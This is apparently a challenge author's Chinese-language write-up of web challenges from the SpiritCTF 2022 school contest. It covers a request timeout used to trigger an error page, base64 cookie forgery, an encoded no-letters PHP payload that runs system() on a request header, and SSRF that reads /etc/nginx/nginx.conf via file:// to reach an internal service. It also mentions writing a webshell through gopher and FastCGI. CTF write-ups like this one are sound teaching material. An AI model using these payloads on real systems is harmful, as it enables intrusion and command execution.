SpiritCTF 2022 Web方向部分题解

本次校赛共放出web题目7道,其中easy系列来自@asaka003,其余题目来自@k1ling

TL;DR

这几个题目虽然有被大家以奇怪的姿势做出来,但是整体上解题数和分布还是符合我的预期的

可能有其他方向的出题人看到分布晚上要睡不好觉了🤣

还是要感谢各位web手的踊跃参与和积极配合,那么接下来看看题解吧~

crash me

5 solves

本题属于半开放式题目,flag在错误页面中,题目源码很简单,可以执行长度10以内的命令。即使得web服务器报错即可

最容易想到的可能是访问一个不存在的路径或者文件使得服务报404,但是我在题目的配置文件中设置了路由转发和php文件访问均重定向到index.php,因此这个思路不可行

预期解,nginx的默认超时时间是60秒,因此尝试

/?a=sleep(70);

即可得到flag,404.html在web目录下,结合题意的错误页面猜到文件名也可以猜出。这里有一个问题,既然flag在404页面,可超时的状态码是504,为什么也能获得flag呢?

其实这题灵感来自于某次配nginx的过程,如果设置了504.html却找不到这个文件的话,就会报该文件缺失的404(x

谜语题

6 solves

本题属于信息搜集题目,根据题意需要找出9月19号访问了什么网站。题目附件是firefox书签的备份json格式,并将网站转换为一个10位长度的数字。

根据题意需要找到附件中与时间相关的内容,可以发现json中有两个字段,dateAdded与lastModified,分别表示记录增加时间和最后修改时间,根据两个时间戳均可判断

由于firefox、chrome等浏览器操作时间的数量级均是微秒级,大部分在线时间戳转换日期工具操作的单位是秒或者毫秒,因此直接转换并不能成功,需要去除时间戳后6位或3位

转换后发现只有flask.net.cn符合,下一步需要将此域名转换为数字,最容易想到的就是利用nslookup通过反查ip,直接ping该域名也可以得到。当然,给出的网站比较少,一个个去试也可以

最后进行ip转10进制即可

ezcms

0 solves

本题考查cookie伪造与无字母数字无参函数的命令执行。输入任意长度在5到10之间的用户名或密码均可成功登录,在extension.php可以发现你不是admin字样,观察cookie类似base编码的形式,经尝试后发现是base64编码,解码后发现恰好是

$username:$password

的形式,因此尝试进行cookie伪造。将用户名部分改成admin再进行编码即可,伪造admin后可以得到无字母数字无参函数的提示,且后端输出了请求的header信息

补全content-type和content-length字段之后发现回显header的第一个字段是content-type,借助该字段传入无参函数执行即可

/?code=system(current(getallheaders()));

current(getallheaders())可以取到第一个头部字段,即content-type,由于不能传入可见字符,因此进行取反即可

?code=[~%8C%86%8C%8B%9A%92][!%ff]([~%9C%8A%8D%8D%9A%91%8B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));

最终的数据包如下:

final

3 solves

本题考察反序列化和SSRF,反序列化的部分是第四届浙江省赛原题,原理不再赘述,详见我的另一篇博客 从一道ctf题目浅析反序列化错误时的php机制

反序列化成功后可以得到文件名curlasdf.php,访问该文件可以进行网址访问。探测常见服务端口均无效,因此尝试读取配置文件。尝试通过file协议读取nginx配置

/curlasdf.php?a=file:///etc/nginx/nginx.conf

其中关键部分

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php index.html index.htm;
	        
	location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }

    server {
        listen       4476;
        server_name  localhost;
        root         /var/www/testweb;
        index index.php index.html index.htm;
	        
	location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
}

可以发现在4476端口还存在一个web服务,访问该服务首页即可获得flag

/curlasdf.php?a=http://127.0.0.1:4476

当然,因为php-fpm运行在9000端口,所以利用gopher协议构造fastcgi写webshell的方式也可以

后记

因为非预期的情况,赛后也重新放出了crash和final两个题目的plus版本,之前看到有学长出题总结里写道:在这么多的非预期之间竟然还有脑回路和我一样的人,看到那个题解的时候整个人都很快乐(原话记不清了,意思差不多)

我也想看下有没有和我脑回路一样的(x

两个“赏金题目”的前三血分别可以获得10/9/8r的红包奖励,虽然前不多,但请大家喝杯mxbc还是够的(x

最后赏金送出去四份,大家还是蛮给力的👍

最后说下final,那题其实是比赛当天临时起意出的,因为今年是最后一次给SpiritCTF出web题了,所以希望在最后一题里能有一些结束的仪式感。在Spirit两年来,一路见证了队伍的成长和辉煌,希望队伍未来越来越好,也希望队伍的web手们能够发光发热,帮助队伍取得更好的成绩,未来是你们的!

上一篇
下一篇